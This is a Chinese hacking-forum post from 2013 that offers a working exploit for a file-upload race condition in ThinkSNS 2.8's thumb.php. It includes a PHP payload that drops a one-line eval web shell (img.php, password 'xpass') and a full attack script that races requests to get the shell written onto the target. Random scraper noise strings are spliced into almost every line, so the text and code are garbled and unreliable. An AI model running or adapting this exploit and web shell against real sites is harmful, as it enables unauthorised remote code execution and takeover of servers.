找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2054|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本# @) |1 W3 v& a2 d
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
7 T  T' I+ }3 S: \漏洞文件
2 v* n3 {; O; X* E存在漏洞的文件为:thumb.php
9 q# Z$ F2 D: I, m6 D作者:韦鲲鹏/ _2 l! [% Q+ w1 ]
1、        准备如下PHP文件并上传到服务器(自己的)。
8 A  _. ^7 P7 q文件内容如下:# A! J* s, q8 a# \
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>4 e" `0 u  Q3 Z/ `9 p1 |/ b
2、        计算出临时的文件名:" w, {$ e6 a( Z+ G+ F0 j% V
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
8 C$ n8 \# T6 r1 y: N
4 u$ h6 M9 ]1 c- @% @3、        上传临时文件。4 o- b4 H3 D! ~% G' G8 N
4、        访问临时文件。3 W. D4 `! }# |0 C. l
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)1 R$ F3 d& {/ W6 W( q7 K
Exploit文件内容如下:(这个我就不详细解释了)
( O+ I* o- g5 M- `<?php: d+ C* l+ z" Y
error_reporting(0);
3 z" {, w4 c4 {5 g8 A. V" X# Lset_time_limit(0);
! }2 j4 H) L# |: V8 B: ?+ bini_set(“default_socket_timeout”, 5);
4 o+ @- K' K5 t; j5 D, x1 c4 Qfunction http_send($host, $port, $headers) {1 k% \+ |0 j+ u8 b4 K
$fp = fsockopen($host, $port);
' ~5 p) t! m/ ]. C6 [8 E1 }* t! A8 dif (!$fp) die(‘Connection -> fail’);
& o+ i2 T' `% @+ L2 y7 C3 |fputs($fp, $headers);
8 f6 q4 z1 ]1 g  X  i0 Preturn $fp;
$ I% U& @* ^: `; s* k* o}
) D: G5 B# E/ X# }! [function http_recv($fp) {' c: B2 C1 _7 {' Q# `! s. J
$ret=”";) t9 t7 b3 t6 z6 u0 J/ ?* K5 b7 x
while (!feof($fp))/ _( Y# w7 D5 N& b7 f: Y- Z$ R
$ret.= fgets($fp, 1024);
' {6 X, I+ I1 s4 Z4 Wfclose($fp);* o7 [+ Q6 N/ O7 q: [: R8 ]$ q
return $ret;, m$ ?8 Y; O! X6 ^/ Z5 T& G
}" T2 K" h! R1 R" I. Q, B
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
6 X$ {% w& V+ p: d0 g  C0 q1 Tprint “# Discovered by 韦鲲鹏 #\n\n”;! |- C; P( F' V2 Q$ o+ x9 g' b% |4 x  |
if ($argc < 4) {
+ P7 J: `: F( o1 lprint “Usage:   php <host> <path> <romote_url>\n”;* H7 f) F. i1 m' a* P
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;( m3 H& m, z  I) D
die();4 _4 k$ [* e' ?; h- ]
}
& R& l+ h, S9 }' X/ k$host = $argv[1];
; O% ~, x3 o# c% o+ S$path = $argv[2];" M# v0 q5 v+ a  n
$url = $argv[3];
3 Y& a* \4 R6 G6 d( Q; S* |$i=0;: U  M$ Z3 U! _  {
//上传数据包
0 `8 x, b+ \4 X( e  E9 s) H$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$ ]$ y3 K  V1 D* n) L: }$headers_up .= “Host: “.$host.”\r\n”;. j3 P% Q3 }  R* F% Y
$headers_up .= “Connection: close\r\n\r\n”;( z3 v+ a! t9 F
echo $headers_up;
3 r+ I7 C' u+ h7 u3 K+ o/ n$ m//临时文件访问数据包) B/ _# Y* y) i4 C
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
  f6 `* q! x2 B; P$ ]5 z$headers .= “Host: “.$host.”\r\n”;
" x/ w# A( t, O; a& D' \# E/ e$headers .= “Connection: close\r\n\r\n”;
" A' B" ~: n$ ~" y+ @7 ~3 N6 s. }  K1 kecho $headers;
" i# w& J3 D- M1 w7 j, d! [  Iwhile(++$i<10) {
# a( x6 h. p9 P" F+ }8 ifclose(http_send($host, 80, $headers));, g! q; A+ @6 H% {$ D0 h2 a
}0 R# }3 p3 ^: x' T0 o
fclose(http_send($host, 80, $headers_up));" h. T. o1 t  f, |  |
while(++$i<50) {8 D( G$ \/ S3 X" o* n: h: ^
fclose(http_send($host, 80, $headers));
7 n( n, K) Q$ Z4 k- T$ w}
. F8 @0 V6 G, r0 k" E$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
1 t5 g% T! {3 q$headers .= “Host: “.$host.”\r\n”;6 q( G7 P( L1 l- o" ^* s! ~( V
$headers .= “Connection: close\r\n\r\n”;, W0 V6 I* x# `$ I2 v$ {8 t/ D
$res=http_recv(http_send($host, 80, $headers));
4 k& F6 k0 |- Q/ E$ _8 P7 q9 U, {if(preg_match(‘/200 OK/’,$res)) {
5 g. D/ A' v- t/ _, B' T( ?" Gprint “Success!\n\n”;! z) e7 j4 w& \
} else {% \4 h/ {6 O9 q6 h
print “Fail!\n\n”;& z( @5 z# I# [0 H9 m( Y5 g
}. _6 Y3 y5 M+ s6 `9 ^
?>
- w" O8 R& e5 k9 B; d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表